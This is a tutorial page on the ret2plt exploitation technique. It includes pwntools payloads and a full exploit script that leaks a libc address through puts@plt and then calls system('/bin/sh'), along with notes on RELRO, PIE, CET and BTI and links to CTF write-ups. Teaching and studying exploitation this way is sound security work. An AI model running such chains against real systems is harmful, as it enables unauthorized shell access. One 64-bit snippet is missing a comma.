Ret2plt
Basic Information
The goal of this technique would be to leak an address from a function from the PLT to be able to bypass ASLR. This is because if, for example, you leak the address of the function puts from the libc, you can then calculate where is the base of libc and calculate offsets to access other functions such as system.
This can be done with a pwntools payload such as (from here):
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
Note how puts (using the address from the PLT) is called with the address of puts located in the GOT (Global Offset Table). This is because by the time puts prints the GOT entry of puts, this entry will contain the exact address of puts in memory.
Also note how the address of main is used in the exploit so when puts ends its execution, the binary calls main again instead of exiting (so the leaked address will continue to be valid).
Caution
Note how in order for this to work the binary cannot be compiled with PIE or you must have found a leak to bypass PIE in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first.
You can find a full example of this bypass here. This was the final exploit from that example:
Full exploit example (ret2plt leak + system)
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
Modern considerations
When a ret2plt leak works locally but fails remotely, the problem is often the state of the GOT slot or the way the binary was linked, not the core ret2plt idea itself.
- Choose the leak target carefully: with lazy binding (No/Partial RELRO), a symbol that has never been called yet may still have a GOT entry pointing back into the PLT / dynamic resolver instead of to libc. The safest targets are usually the same symbol you are invoking via the PLT (
puts@plt(puts@got)) or another function that was already executed before the overflow (puts,printf,setvbuf,alarm, etc.). puts()leaks are string-based: on amd64 you often only recover the lower 6 bytes before the first\x00, so a common parser isu64(p.recvline()[:-1].ljust(8, b'\x00')).- If you can control 3 arguments,
write@pltis cleaner thanputs@pltbecause it is length-bounded and will not stop at the first null byte. This is usually the most reliable way to dump a GOT entry on 64-bit targets. If you need help settingrdi/rsi/rdx, check ret2csu.
# amd64 binary-safe leak (direct gadgets or ret2csu)
payload = flat(
b'A' * padding,
POP_RDI, 1,
POP_RSI_R15, elf.got['puts'], 0,
POP_RDX, 8,
elf.plt['write'],
elf.symbols['main']
)
- Full RELRO /
-Wl,-z,now: GOT becomes read-only, but it is still readable, so ret2plt leaks continue to work. The important difference is that imported symbols are resolved at startup, so their GOT slots already contain the final libc addresses. Full RELRO blocks GOT overwrites, not GOT reads. -fno-pltbuilds: GCC can emit GOT-indirect calls instead ofcall foo@plt, and those external symbols are resolved at load time. You can still leak GOT entries, but you may not have a convenient PLT call site for the target function anymore. Reuse another imported output primitive, an existing indirect call site/gadget, or a different leak primitive. Do not return to the GOT entry itself: it is data, not executable code.- ASLR + PIE: if PIE is enabled, first leak a code pointer (saved return address, function pointer, vtable pointer, format-string leak, etc.) to compute the PIE base, then build the ret2plt chain with rebased PLT/GOT addresses.
- Static / static-PIE: ret2plt is a dynamic-linking trick. Fully static or
-static-piebinaries do not rely on the usual runtime PLT resolution path, so expect this technique to be unavailable or much less useful. - amd64 stack alignment: if your leak stage or second-stage
systemcrashes in instructions such asmovaps, insert a singleretgadget before the PLT/libc call to restore the required 16-byte stack alignment. - x86 CET /
-fcf-protection: if Shadow Stack is actually enforced, classic ret-based ret2plt chains need a SHSTK bypass first. IBT also requires indirect branches to land on valid targets. IBT-enabled toolchains generate compatible PLT entries, so the PLT is still a good indirect target, but it does not bypass SHSTK by itself. - AArch64 BTI / PAC-PLT: modern AArch64 PLT entries are valid BTI landing pads (
bti c) and may includeautia1716when PAC-PLT is enabled. On BTI-protected binaries, prefer PLT entries or other BTI-compatible landing pads as indirect branch targets.
Other examples & References
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call
system('/bin/sh') - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.